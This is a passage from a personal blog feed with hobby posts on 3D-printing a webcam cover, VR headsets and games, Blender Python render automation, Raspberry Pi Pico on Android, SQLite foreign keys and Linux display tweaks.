<link>http://www.jumpstation.co.uk/flog/Apr2021.html#p250420211251</link>
<description>
OK so it took 5 iterations, but I now have my custom 3D printed webcam cover.

[img alt="3D printed webcam cover, uninstalled, installed and open and closed"]images/webcam3dprintinstall.png[/img]
fits nicely

[img alt="3D webcam cover in PrusaSlicer 3D view"]images/webcam3dprintprusaslicer3dview.png[/img]
in PrusaSlicer

[img alt="3D webcam cover in PrusaSlicer, sliced, partial"]images/webcam3dprintprusaslicerpartial.png[/img]
in PrusaSlicer, sliced and showing the early layers with internal structure

[img alt="3D webcam cover iterations x5"]images/webcam3dprintresultx5.png[/img]
Evolution of a 3D webcam cover


1: Incredibly simple model. 
Designed in Blender with the goal of getting something, anything to print.
Slicer: PrusaSlicer 2.3.0 (Linux)
Printer: Ender 3 v2
Quality: 0.2mm
Time: 54mins
Result: POC print

2: Shrunk the width to better fit laptop lid.
Started reshaping to include ramps, as the laptop lid is not flat.
Slicer: PrusaSlicer 2.3.0 (Linux)
Printer: Ender 3 v2
Quality: 0.24mm
Time: 50mins
Result: Iteration for manual fitting

3: Added lens cap extension.
Although No. 2 did cover the lens completely a design decision was made to extend a lip for aesthetic reasons. The inside included a new ridge to better clip on to the target lid.
Slicer: PrusaSlicer 2.3.0 (Linux)
Printer: Ender 3 v2
Quality: 0.28mm
Time: 42mins
Result: Iteration for manual fitting

4: Shrunk width for tighter fit.
This version was shrunk by 10% across the width, but was ultimately too tight to fit the target. Basic attempts to bend the the cover to bit fit resulted in the catastrophic failure of the piece.
Adaptations to the ridge structure internally opted for a split design closer to the edge.
Slicer: PrusaSlicer 2.3.0 (Linux)
Printer: Ender 3 v2
Quality: 0.28mm
Time: 42mins
Result: Iteration. Failed due to manual stress.

5: Enlarged and then tweaked.
Lens cover was made concave. Installation complete. Fits perfectly. Note: the laptop lid was not uniformly thick and sliding from the corner was required make good contact.
Slicer: PrusaSlicer 2.3.0 (Linux)
Printer: Ender 3 v2
Quality: 0.24mm
Time: 49mins
Result: Finished print

This does not include all the failed prints. Of which there were many.
The resolution was to tighten the horizontal drive belt and re-level the bed over and over again. In one case I did not attempt to stop a failed print and it went on to create a reasonable results that require minimal clean up at the end.

Changing the quality of the print did not affect the print time drastically and for it's intended purpose I will not bother print this again at a higher quality.

Next I want to print a [url title="3D Benchy"]https://3dbenchy.com[/url] stress test model.



</description>
</item>
<item>
<title>print fail fail and partial success</title>
<pubDate>Thu, 22 Apr 2021 23:20:44 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2021.html#p220420212320</link>
<description>
Printing the default puppy model had been so easy and straight forward I felt I could print anything!

Bit of quick Blendering and I had a laptop webcam cover. Only, it would not import at a reasonable size. I was pretty sure I had followed the rules about setting the Units to 0.001 and applying my scale, but everything I tried led to errors in PrusaSlicer.
It would pop up a warning that the model appears to be in Inches not mm and saying Yes or No to converting it resulted in a tiny model that would not slice.

I watched a few YouTube videos on the subject and decided to start from scratch and it worked, so no idea what I was doing wrong. The model was a simple three planes making a U shape and a Solidify modifier giving depth.

Print attempt No. 1: Started well and after 20 mins of watching the print head do its mesmerising thing I went to watch telly and ... Came back 30 mins later to find plastic spaghetti. FAIL
Print attempt No. 2: I wondered if the model was too small to stick to the bed, after all, the puppy had been on a 2 inch circumference base. So I doubled the length and tried again. This time all I got was spaghetti. Not a single piece of plastic was on the bed! FAIL
Got a bit despondent at this point. Decided that before I changed anything else I would just re-level the bed, even though I understood that it was not required if the printer had not been moved.
Re-levelling involves slipping a piece of paper between the print head and the bed and testing the resistance. There should be obvious friction without trapping the paper. I gave it some very minor tweaks and thought about how little it would cost to try another print. 
Print attempt No. 3: Printed without issue and I now have block of plastic in the shape I modelled. I found it very interesting that the resulting physical item has no horizontal lines and this print was set to Optimal. What would I have got from High Detail or Super Detail?

The part was too big to work as a webcam cover. But that is fine, as I just wanted to print something successfully. I have remodelled it and will try a Normal(one less than Optimal) print tomorrow. I am not leaving this on over night.

</description>
</item>
<item>
<title>random 3d printer</title>
<pubDate>Tue, 20 Apr 2021 21:05:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2021.html#p200420212105</link>
<description>
So it is time to forget the Oculus Quest 2 and focus on ... 3D printing!

Life is so random. I now have access to a Ender 3 v2 3D printer. Which seems to be one of the best budget 3D printers.

So far I have built the thing, that took a while and reviewing a YouTube channel for reference. The printed manual is full of technical jargon, but at the end of putting it all together you find there is a video tutorial included on the SD card.

First print was a failure. I didn't think you had to keep the clips on the base and it wondered taking the print filament with it.

Second print was a success. Took almost 2 hours, but I now have a inch high puppy on a base. This was the example model include in the root of the SD card. There seem to be some other models hidden in sub folders.

Of course I want to print something I have modelled. Just installing the slicer now ... (to be continued)
</description>
</item>
<item>
<title>secret oculus quest 2 games lab</title>
<pubDate>Tue, 13 Apr 2021 19:01:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2021.html#p130420211901</link>
<description>
The Oculus Quest 2 is curse and blessing. Pick up and play, sell your soul to Zuckerburg!

I have found the headset is not comfortable and this seems to be a common theme amongst reviewers. The display is not super clear and the way you wear the headset can ruin the sharpness of the visuals when moved 1mm.

But, the PRICE! It is so cheap and if you are willing to hunt around there is a lot of high quality free content.

There is a set of hidden games on the Oculus store that are pre-approval. Not necessarily free, but, most are. To get to them open the Oculus Browser in the headset and search for the web address
[url]https://applab.games/[/url]

Then any game listed can be installed directly by following the link and making sure you are logged in. I had to allow Oculus permission to connect to Facebook.

One of the Games I tried was "Puzzling Places Beta" which is just a 3D jigsaw puzzle experience. But, it is so good. Really well done and very relaxing. Also, get very hard. From 20 pieces to 100 and then 200.

</description>
</item>
<item>
<title>only five years to get over vr sickness</title>
<pubDate>Sat, 03 Apr 2021 21:20:09 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2021.html#p030420212120</link>
<description>
After almost five years I am now VR ready. Nothing to do with having new hardware, I mean I can finally stomach moving in VR.

I had totally avoided any VR experiences on the Vive that didn't involve teleporting and the Vive supported this wholeheartedly. Any game/experience that had sliding motion also had teleporting, usually as the default.
The feeling of the world around you sliding past you (think virtual roller coaster) mad me very queasy, very quickly and then it could take many hours to recover.

The Oculus Quest 2 on the hand expects many games and experiences to be slide to move and not teleport. It also offers lots of "Google cardboard videos" which track the rotation of your headset but no movement. When you rotate your head the pivot point is not in the center of the headset and this setup also used to make me want to hurl.
I kept reading that everyone who had the same response as me just powered through it, so instead of giving up I tried to find a good VR experience that I could gradually train myself in.

There was a free app on the Quest from NASA allowing you to explore the ISS (International Space Station) and complete mini missions. I knew it would be rough due to all the floating around, but I found that the design of the space station also meant I could grab a rail at almost anytime and arrest my motion.

The ISS experiences is a lot of fun and there are a number of support videos with astronauts describing life and work. These along with the mini missions and space walk allowed me to try out floating in VR in short bursts where I felt in control at all time.

Eventually I had reviewed all the videos and completed all the missions and was ready for something new. The kids had bought Population:One which is a battle royal game in the fortnite vein. Needless to say, you need to slide to move around, there is also some flying and tiny amount of falling. It was not perfect, but I manged to stay in the game until dead and then used the spectator mode to fly above the battle field. I needed rest afterwards and felt a bit "off". Nothing like the dizzy and sick feelings I would have had previously.

I still find a hour of intensive VR play quite draining, but I can jump back in after some hydration!
</description>
</item>
<item>
<title>oculus quest 2 dissapointly performance</title>
<pubDate>Thu, 11 Mar 2021 19:43:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2021.html#p110320211943</link>
<description>
Just because my life seems to be full of random and largely unexplained occurrences I had to sell my soul.

We got an Oculus Quest 2 VR headset and if you didn't know Oculus is owned by Facebook. This latest Quest model has a minimum requirement of having a working Facebook account, so I had to make one :(

First impressions are mixed. The resolution is higher than the HTC Vive, but not a lot of games seem to really show this. The battery life is appalling, 1:30 play time then 2:30 charge time. The controllers are too small for my hands and the screen refresh rate is noticeably slow. But there is no setting up lighthouses and games are very quick to load.

I need to explore ways of extending the play time, especially as I should be able to play all the HTC Vive Steam VR apps at the higher resolution. A quick Google shows that this is not a straight forward task :(

In other news, my weekend was spent playing with a Doorbell.
</description>
</item>
<item>
<title>popping vim colours because sun</title>
<pubDate>Thu, 11 Mar 2021 19:35:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2021.html#p110320211935</link>
<description>
I was trying to do some Python coding at work in vim and the sun came out and I could hardly read the screen.

I found a command
[code]set background=light[/code]

that seemed ideal, I wanted a lighter background and hoped the foreground colours would adjust, but the command did nothing!

Then I randomly tried
[code]set background=dark[/code]

and the background stayed black, but all the foreground colours changed to bright versions of themselves and really popped!

Perfect

and as a note to myself, if syntax highlighting is not on by default added it with
[code]syntax on[/code]

</description>
</item>
<item>
<title>you are playing beat saber wrong</title>
<pubDate>Sat, 06 Mar 2021 10:45:03 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2021.html#p060320211045</link>
<description>
We need to talk about Beat Saber. Even if you have not played it you probably know that it is a VR rhythm game.

The kids bought a while ago and I thought I would never play it, as I hate rhythm games. I am not very good at them, but Beat Saber is not a rhythm game in the sense you have to do something in time to the music, though you do, sort of.

You could happily play this game without any sound and just have fun hitting the blocks. I love the pick-up-and-play experience of this game. Whereas Halflife:Alyx needs a good few minutes to get into a game, Beat Saber can have you in a song in a very short time.

It does help that I like the EDM music in the game and it's strong beats work really well. I often play just to hear the music, not worrying if I do well. As with all music based games, the biggest issue is getting bored with the library. Beat Saber comes with a good selection of songs and more can be purchased, but look out for deals, as buying individual songs can get expensive quick.

Beat Saber is an amazing experience when you first try it and I truly mean "amazing". The setting, the lights, the reactions, the ease of just having fun. But it also has a downside. You will love the first day of game play and think you will play this everyday for the rest of your life, but it does grow boring and this is accelerated by certain children repeatedly getting substantially better scores than you.

So should you buy Beat Saber if you have VR? I think this is a must have VR game and it is great for parties and showing to non-VR people, just do not expect it to change your life.

If you are playing Beat Saber and hitting most if not all the blocks but not getting a high score, read the help [?] on the Beat Saber home page, you are playing it wrong. I went from consistent rankings of E-D on some of the easiest levels to A-S on Normal. "S" is higher than A and I find the songs impossible after Normal mode.
</description>
</item>
<item>
<title>blender skull montage python video live</title>
<pubDate>Tue, 02 Mar 2021 22:54:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2021.html#p020320212254</link>
<description>
A nice long video getting Blender to create Python code that creates 32 images from four camera angles and eight materials(matcaps).
Goes into detail about using Imagemagick to create montages and then notes running Blender from the command line and automated scripts.

*Video

[url title="blender montage system GitHub repo"]https://github.com/robgithub/blender_montage_system[/url]
[url title="Uses my free Human Skull model"]https://www.blendswap.com/blend/27441[/url]

When I run these scripts on my machine it creates 1728 separate renders for 54 frames of video in just under 3 minutes (including building the video)

YouTube limited the description, so here is the complete script

In this video I will take you through the steps to create your own Blender automation script.
You can then use it to generate any number of variations and build a time-lapse style video from your save files.
Surprisingly, you do not need to know Python to create a Python script in Blender, Blender will do most of the work for you.

Lets start by setting up the Blender interface.
#Go to the Edit/Preferences and Interface and tick the "Python tooltips"
#Now when we hover over settings and buttons the tooltip will contain the Python references
Pull open a second window and set it to "Text" and open a third window and set it to "Info"

enter the single line
--import bpy
this tells the Python interpreter that we want to work with Blender
Save it as a .py file
and lets start by creating a skeleton program
we need a method to 
set up the scene
set up the camera
set up the materials and lighting
and one to do the actual render

--def set_scene():
I want to change the render engine, set the world colour to black, make the render shape square and the render size 25%
I do not know the magic commands to do any of that so I am going to let Blender write them for me.
Go to the Render Properties and select Workbench as the Render Engine.
Workbench is an extremely quick renderer and comes with lots of default mat caps for materials and lighting.
You will see that in the Info window Blender has recorded the command to change to Workbench
Left click on the command to select it and the right click and select copy
Paste into your script 
--bpy.context.scene.render.engine = 'BLENDER_WORKBENCH'
Add a line to run your new method
--set_scene()
You have now created a working Python script that controls Blender
Save it and change the Render Engine to EEVEE
Now run it and you can see it has switched the engine to Workbench!
Lets quickly do the same for the other properties we want to control
World Properties / Viewport Display Colour
Set to Black and copy and paste the code
--bpy.context.scene.world.color = (0, 0, 0)
Output Properties and set the Resolution to 1080 by 1080
and copy both lines (shift select)
and make sure you are indenting with tabs, Python is very particular to indenting
--bpy.context.scene.render.resolution_x = 1080
--bpy.context.scene.render.resolution_y = 1080
the same for resolution percentage
--bpy.context.scene.render.resolution_percentage = 25
there is no point rendering high detail when we want lots of small images
save your Python script
Now we want to set up our camera
add the new method
--def set_camera():
Now move your view around and from the View menu select Align View and select "Alight Active Camera to View".
Open up the item properties panel and change the X by one then back again.
Copy the command from the Info window
Repeat for Y and Z
and then again for Rotation X, Y, Z
add a call to set_camera
save your script
mess up your camera and run the script to see it all jump back how you had it
then set up the Mat Cap, Material Captures
--set_matcap():
Render Properties / Lighting and Matcap and then click on the shaded Sphere
Select something fun, like the UV lighting
and paste the two commands into your method
--bpy.context.scene.shading.light = 'MATCAP'
--bpy.context.scene.shading.studio_light = 'check_normal+y.exr'
add a sneaky change so those read
--bpy.context.scene.display.shading.light = 'MATCAP'
--bpy.context.scene.display.shading.studio_light = 'check_normal+y.exr'
add a call to set_matcap
save your work and this time change the matcap and run it
Now we just want to be able to render out our mesh as an image file
add the method 
--def do_render():
This time Blender will not write the code for us, but I have it here for you
--bpy.ops.render.render(write_still = True)
and we need to set the output file name, "x"
add a call to do_render
save and run it
you now have a file in your temp folder called x.png that is the render we set up

Awesome! you can now load up any Blender file and your saved Python script and run it to get the same render settings and output.

Now we are going to kick it into overdrive and actually do some Python coding without Blender's help, but do not worry I will explain as I go along and you can download the final script from the links in description.

We want multiple camera angles so we need to add those to our program
I am going to create four and put them into an array of Python dictionaries
start with the name
--cam_setups = [
square brackets denotes an array
--{'camera_name':'cam1', 'location': [-7.24919, -6.81488, 3.98134], 'rotation': [1.10932, 0, -0.827971] } ,
FFW 
get the camera location and rotation attributes and repeat
FFW
FFW
FFW
close off the array with another square bracket
and now we get Python to go through each array item and pass it to the set_camera method
--for cam in cam_setups:
----set_camera(cam)
and then in the set_camera method we accept the cam parameter as setup
and swap out the hard coded values for the ones in the dictionary object
--bpy.data.objects['Camera'].location[0] = setup['location'][0]
so we are getting the 'location' part of the object and then the first item in the array, which is the X location
repeat for the other settings
FFW
FFW
...
now, if we run this script it will do what we want and set the camera four times and render fours times, but the file name will be the same, so you will only have the last render.
We can fix than by passing the camera_name to the do_render method
--def do_render(filename):
--bpy.context.scene.render.filepath = "/tmp/{0}".format(filename)
that 0 in curly brackets will be replaced by the filename
--do_render(cam['camera_name'])
now run it and there will be four different rendered files in your temp folder named
cam1.png, cam2.png, cam3.png and cam4.png
Now we know the basics lets do the same with the mat caps
--mat_caps = ['basic_2', 'jade', 'metal_carpaint', 'ceramic_lightbulb', 'check_normal+y', 'check_rim_dark', 'resin', 'toon']
I chose eight of the mat cap I liked and it is just a basic array
indent correctly for Python so that each time we change cameras we change mat caps eight times
update the file name to include the mat cap name
--bpy.context.scene.render.filepath = "/tmp/{0}_{1}".format(filename,mat)
save and run we have 32 files named
cam1_basic_2.png
cam1_jade.png
...
etc

Now we do not want to have to open up each Blender file and then find the script file and then run it every time, in fact we do not want to open up Blender at all, we just want the rendered images

You can run Blender from the command line, here I am using Linux terminal, but the premise is the same for Windows and Mac.

blender --background mymesh.blend --python matcap_camera_setup.py

and Blender will happily load mymesh.blend and then run your python script and render 32 files and you will not see Blender load, just the messages as it runs.

The next steps are Linux specific, but should be reproducible in Windows and Mac

To combine all 32 images into a single image I ran Montage from Imagemagick

montage "/tmp/cam1*.png" -tile 8x1 -geometry +0+0 "/tmp/line1_montage.png"
takes all the eight cam1 images and creates a new long strip image
repeat that for all four cameras and we end up with four long strips
montage "/tmp/line1_montage.png" "/tmp/line2_montage.png" "/tmp/line3_montage.png" "/tmp/line4_montage.png" -tile 1x4 -geometry +0+0 "/tmp/montage.png"

creates a new single image with the four strips combined

I then wrote a couple of shell scripts to automate running those commands and used ffmpeg to build a video file

All the script files are in the github link in the description below including a link to my free Human Skull mesh.

</description>
</item>
<item>
<title>laser projection spot lights video</title>
<pubDate>Sat, 27 Feb 2021 14:06:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2021.html#p270220211406</link>
<description>
Here is a quick video on using Spot Lights in Blender to create laser scanning simulations and to project images on Meshes.

[url title="Uses my free Human Skull model"]https://www.blendswap.com/blend/27441[/url]

*Video

The line scanning animation plays at the beginning and then again at the end of the video. The first instance took just under two hours and full resolution, the one at the end with volumetric lighting took just under two days!

There will be another Skull video to come ... stay tuned
</description>
</item>
<item>
<title>skull a003 sees the light of day</title>
<pubDate>Sun, 21 Feb 2021 23:40:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2021.html#p210220212340</link>
<description>
Quick update on the skull situation. Had to stop myself continually adding to the mountain of animations showing off the sculpt.

[img alt="3D human skull sculpt"]images/skulla003_p.png[/img]
[img alt="Rob on Earth text on Skull"]images/skulla003_roe.png[/img]
[img alt="montage of iterations during sculpt life-cycle"]images/skulla003_montage.png[/img]

I will do some follow up videos on how I got the line laser effect (and logo projector effect) and a set of scripts that rendered all the iterations with different matcaps.

Video
*******************
</description>
</item>
<item>
<title>poke a pico video mess</title>
<pubDate>Sat, 20 Feb 2021 21:10:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2021.html#p200220212110</link>
<description>
So when I found out how to get my new Pico working with the Pixel 3 and after finding no information about the process, creating a video was the logical conclusion (for me).

Creating videos is not easy or straight forward. I do not have any lighting or cameras set up and I had no idea how to record the Pixel's screen.

To start with I wedged my Go Pro Hero camera into a cardboard box, that had been weighed down with a bag of flour. Recording myself plugging in the Pico to the phone. As per any shoot, there were numerous takes.

Then I found that I could add the built-in option to record my phone screen and export the result to a external SD card. Again, numerous takes.

Windows has a built in record mode and this got the Chrome footage. Sadly, it refuses to record the File Explorer, so I took new video of my plugging an unplugging the Pico into a USB hub (that wasn't connected to anything, Hollywood smoke and mirrors).

I found my [url title="old posting for getting the Snowball Blue USB microphone working"]Feb2020.html#p240220202248[/url] and just had to tweak it to be a module and not a kernel module built-in.

Then record the 22 voice clips that matched my basic script. Mucked about with Normalising and Amplifying the audio in Audacity and then dealing with the clipping issues. In the end I gave up and just ran Effects/Amplify on each recording and ignored the minor clipping, it did not seem to cause any pops or clicks.

The real fun was in Blender and it took me best part of a day to edit it all together. Nothing too major, but I haven't done any video editing in a while and I could not remember any of the short cuts. I did notice that setting the colour strips behind the code looked fine in the preview window, but were it totally the wrong place when rendered as a test at 25%. Worked fine in the final render at 100%.
</description>
</item>
<item>
<title>put a pi pico into an android for repl</title>
<pubDate>Sat, 20 Feb 2021 20:20:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2021.html#p200220212020</link>
<description>
Long story short, I got two of the new Raspberry Pi Pico boards, as they were only a couple of quid each.

I have plan, but more on that another day. Today I wanted to just get them working and there is a great way I have seen other YourTubers doing with the interactive REPL.

You can download MicroPython directly on to the Pico and then interface with it via serial USB and type commands. Including the code to turn the LED on the Pico on and off.

Can I do this with my Android Google Pixel 3 phone?

According to Google and YouTube no one has ever tried (successfully). So I decided to make a video, because I could and yes you can use a Pico with an Android phone, sort of.

***PLACEHOLDER*** for video

Script:
[output]
Can you get your Raspberry Pi Pico working with an Android phone ?
Yes, but it depends
If you plug the Pico into a Phone in USB mode, Android will report the drive as not formatted.
Unfortunately following the formatting steps does not fix this, but it will also not damage your Pico.

So grab a computer, I will be using Windows, but it should be similar on Mac and Linux.

To start we need to get Micropython running on the Pico
Head over to the Raspberry Pi Web site
https://www.raspberrypi.org/
https://www.raspberrypi.org/products/
https://www.raspberrypi.org/products/raspberry-pi-pico/
scroll down to to Documentation
https://www.raspberrypi.org/documentation/pico/getting-started/
and download the MicroPython UF2 file from the "Getting started with MicroyPython" section.

Now hold down the BOOTSEL button on the Pico and connect it to your computer, let go of the button and you should see a new Mass Storage device.
Simply copy over the UF2 file you downloaded and you are finished with the computer, disconnect the Pico.

Connect the Pico to your phone, this time do NOT hold down the BOOTSEL button
Go to the Google Play store and install "Serial USB Terminal" by Kai Morich. There are other USB serial apps, but this is the one that I tried and worked for me.
Open the app and go to settings/devices and click the Custom device, no driver, select CDC and say yes to the prompt about access to FS device

you are now connected to the REPL, a Read-Eval-Print-Loop and you can type commands
type print('hello') and click the send arrow.
The Python environment on the Pico will now answer hello.

I recommend writing commands in notes or another text editor and then copying and pasting them into the app rather than trying to type them each time.
you can now turn the LED on the Pico on with some code

from machine import Pin
led = Pin(25, Pin.OUT)
led.value(1)

and off again with

led.value(0)

This code and many other examples are available at the raspberry pi Pico MicroPython page

Hope this has been helpful 

In the future you should be able to plug your Pico directly into your phone and use it as a mass storage device, bypassing the need of a separate computer.
[/output]
</description>
</item>
<item>
<title>vr update super half beat alyx hot sabre</title>
<pubDate>Sat, 06 Feb 2021 15:45:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2021.html#p060220211545</link>
<description>
Quick VR update.

Haven't managed to get Half life: Alyx Add-ons to work, yet.

Kids bought Beat Sabre and to say that that game gives you a work out is a huge understatement. Not something I would have chosen, but now I have played it I understand the hype.

Got a large piece of paper to cover the mirror and now VR is perfect.

Still play Super Hot VR regularly especially the Christmas mode. Could do with some more content.

I need to get around to importing the TopBlock Unreal project into VR, but I am currently working on the next Skull.
</description>
</item>
<item>
<title>retro referential integrity bomb</title>
<pubDate>Sat, 06 Feb 2021 15:34:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2021.html#p060220211534</link>
<description>
Oops, I forgot to be Referentially Integral.

I created a simple Sqlite3 database for a project at work and I always wanted to go back and add Referential Integrity, but then forgot about it.

I had not done Referential Integrity with Sqlite3 before, having only experienced it via Microsoft's GUI tools. The reason I had not started with it, which of course I should have and now will do for future projects, is that the design was very fluid. I was playing with ideas, columns were changing names, types, being added deleted, it was a mess. Eventually it settled and has been running unchanged for about 10 months.

Then disaster struck. The hosting provider implemented rate limiting for all SSH connections without warning anyone. My code happily handled NO NETWORK, but here the network was returning weird error messages and only occasionally. Not knowing why I was getting the messages and wanting to just try again later led to some sub-optimal exception handling that led to database records being out of sync. Previously, if I tried to download a file I got that file, because to get that far the network had to be up. I had a load of records that stated they had downloaded a physical file when, in fact they had not.

I then had to re-engineer my remote access code and add retries and connection pooling. It worked, but was a major overhaul.

Because of the lack of previous Referential Integrity I was not sure how I could safely delete or reset the affected database records. Referential Integrity to the rescue, except I did not know if all the existing data was Referential Integrity valid.

Luckily I found [url title="this great tutorial"]https://www.techonthenet.com/sqlite/foreign_keys/foreign_keys.php[/url] that handled adding Referential Integrity to EXISTING DATA. There were lots of tutorials about adding Referential Integrity to new databases, but not for converting existing.

The steps it describes are pretty straight forward, but I did a lot of testing before I let them anywhere near my data.

1. Backup your data
[code]ALTER TABLE table RENAME TO table_old;[/code]

2. Recreate your table with the Referential Integrity constraint/s

3. Enable Referential Integrity
[code]PRAGMA foreign_keys=On;[/code]

4. Insert your old data into the new table
[code]INSERT INTO table SELECT * FROM table_old;[/code]

If all your data is valid (from a Referential Integrity point of view) then that's it, job done. And it was for me. Huge sigh of relief.

If you get an error about Referential Integrity then you need to either

Disable Referential Integrity
[code]PRAGMA foreign_keys=Off;[/code]
and re-insert, knowing the data is BAD

or

Fix your data and try again.

Lesson learned, don't try and retro-fit Referential Integrity :(
</description>
</item>
<item>
<title>more minty monitor madness</title>
<pubDate>Tue, 26 Jan 2021 23:31:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p260120212331</link>
<description>
But was there more I could do with my [url title="new 23&quot; Minty computer screen?"]Jan2021.html#p170120211729[/url]

I installed X11vnc and openssh servers and made sure I could connect from my Gentoo machine.

It made sense to have the IP address and other information as part of the Mint desktop. It is something that Windows users have had utilities for years, but I cannot find a nice solution for Linux, weird.
Then I found all the cool things you used to be able to do, like drawing to the root window and replacing the background no longer works. Well, without hacking the hell out of your system.

What I want is the reverse of
[code]ssh -Y user@mint-display
export DISPLAY=:0
inkscape[/code]

and display my local instance of Inkscape on the remote X server. Those commands run Inkscape from the remote machine on the remote machine. Missing out the DISPLAY line results in the remote server running Inkscape on the remote server but displaying it on my local machine.

but as I have VNC I can just use [em]vncviewer[/em] and view the Mint computer directly in another window. I can also move that window to another workspace and switch between them at will.

and then ... I got a Display Port-HDMI adaptor (&pound;6.99) from Amazon and connected it to the previous HDMI-USB dongle and ran 
[code]
[/code]

and my computer sees it as an external monitor. Pity the refresh rate is so bad that you would not want to do work on this new "external monitor". Also, the way Linux tries to use the monitor messes with my mind. I want the new monitor to "extend" the existing one, but instead it insists on making be part of one big desktop. Which sounds nice except all my windows went to the Mint monitor and after dragging them back, disconnecting the monitor made them all disappear off the bottom of my actual monitor. Very confusing.

Bottom line (currently) is I run [em]vncviewer[/em] and get inkscape with all my reference images on the Mint computer. Keeping that window in a separate workspace for easy access.

Not perfect, but for recycling an old Windows computer, not at all bad!

I still want that info desktop wallpaper ... imagemagick to rescue?
</description>
</item>
<item>
<title>virtualbox wacked by bad display set</title>
<pubDate>Sun, 24 Jan 2021 23:24:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p240120212324</link>
<description>
Tried to run [em]VirtualBox[/em] and got
[output]Qt WARNING: could not connect to display 
Qt FATAL: This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.

Available platform plugins are: minimal, offscreen, xcb.[/output]

in the mucking about I had set [em]DISPLAY[/em] to all sorts of things. The suggested ways of setting this back to normal via [em]unset[/em] or [em]""[/em] didn't work for me, but
[code]export DISPLAY=":0.0"[/code]
did.

Just another day in the trenches ;)
</description>
</item>
<item>
<title>completed alyx and had to clap</title>
<pubDate>Sun, 24 Jan 2021 13:43:21 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p240120211343</link>
<description>
And , I have completed Half life: Alyx !!

Totally worth it, not going to spoil it, but the ending is typical Valve and will make you feel like clapping.

There were some noteworthy events during my last play though.

While under heavy fire and crouching behind various walls I managed to get down so low on my heels I fell over backwards. Luckily I did not damage, the headset, myself or anything else in the tiny room.

In an area with no weapons, I found some frying pans (don't ask) and clung onto them throughout the entire stage, convinced I would need to defend myself. Carefully dropping them to open doors and then clutching them again as I tiptoed through some really trippy stuff.

Then there are the 62 screen shots my cat took!

[img alt="Halflife:Alyx screenshots taken by my cat x62"]images/Stars alyx screenshotsx62.jpg[/img]

As you can see bit dark and lots of sparking green. This was the first time I had experienced this in game and I assumed that my attempts to control the green lightning were causing Steam to take screenshots. But as I got more and more notifications that screenshots were being created I realised it was not me! Unfortunately, dislodging the cat from the surface of the keyboard caused her to hit the shutdown button. Luckily the auto-save had me just moments before then and I was able to continue.

Now I want MOAR! I haven't explored it yet, but there appear to be fan based levels and mods available on Steam... To be Continued ...
</description>
</item>
<item>
<title>vr news theblu superhot and halflife alyx</title>
<pubDate>Sat, 23 Jan 2021 17:31:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p230120211731</link>
<description>
And now some VR updates.

The other item I purchased from Steam was "The Blu" and that is something else. Instead of a game, it is an experience. You can just stand there in VR and look about as three different scripted scenarios take place.

One on a ship wreck, one in the corals and one in the dark. Each plays out all around you with subtle and not so subtle sound and light hints. I do not want to give away the details, but just to say there are unexpected creatures in each experience and this is well worth trying.

Got 100% on SuperHot VR, which is another thing to behold. Now I have unlocked all sorts of extra modes, like time-attack and endless. Would have like a little more actual content, but what you get is very immersive.

Then we realised that the VR experience was not ideal, turning or looking to far to the left always produced glitches and we were losing tracking on the left controller every now and then. Not sure why the interference is not more consistent, but there is a big mirror door there. Covered that up and have had a much better experience!

Finally there is more Halflife:Alyx. I say it over and over again, this is sooooo good. I can not wait for it to be available to more people and on higher resolution displays, there are even hints Valve might be making another one. I am still surprised by the content and recently unleashed and unkillable foe that I must out run and doge into cover, all the while the combine solders pin me down.
(and I still have not completed it!)
</description>
</item>
<item>
<title>ring ring no chime ring chime</title>
<pubDate>Sat, 23 Jan 2021 16:52:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p230120211652</link>
<description>
We got Ring! Which was not something I wanted, but someone decided to turn off our water and pour cement over the tap, so now we have a Ring doorbell.

Tried to install it over the existing doorbell, but it was the wrong size, wrong location, wrong angle and apparently you still need the battery in it anyway. In the end I removed the door's peep hole (which I am not sure ever worked) and crewed in the doorbell there.

At this point I had already enslaved myself with a Ring account and the doorbell was happily sending me notifications as I tried to fit it. So it was a bit strange when I could absolutely not get the indoor "Chime" device to connect.

I had followed the install instruction four times from scratch, using resets, QR codes, PIN numbers etc before I tried to ring Ring support. That in itself was interesting as the UK phone number for support via the Help/Chat route reported that that number was not accepting calls!

I did eventually find another generic contact number that did work and as per support protocols they made me do exactly what I had already done multiple times. Even they gave up and said I need to try a different phone, which was pain to setup (bloody Apple), but then did work.

So we have a Ring doorbell and every now and then we get a notification that someone has been detected, but it is most commonly pedestrians walking past.

I thought the point of a Ring doorbell was you could speak to delivery people, but I am not seeing that option.

Last thing to do now is to remove the hardwired doorbell and terminate the wires...
</description>
</item>
<item>
<title>the cat and orange drinks</title>
<pubDate>Sat, 23 Jan 2021 12:06:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p230120211206</link>
<description>
Random in-fill post.

We have a cat who likes to open things she really shouldn't. Most famously it was sealed mini American pancakes. She would claw and rip the packets until the contents were open, then eat half and spread the rest around the kitchen.

Today we find she has tried to open at least 5 large Capri Sun orange packets that we did not have space to put away and sat on the counter. Luckily the spills were mostly contained in the box they were sat in, but I have to wonder why she tried to open a 5th one after the mess from the previous 4!

What is extra funny is that whenever she does something like this, she understands that she has been naughty and will come and make a fuss of herself, presumably for redemption.
</description>
</item>
<item>
<title>hp all in one avoids dump by becoming a monitor</title>
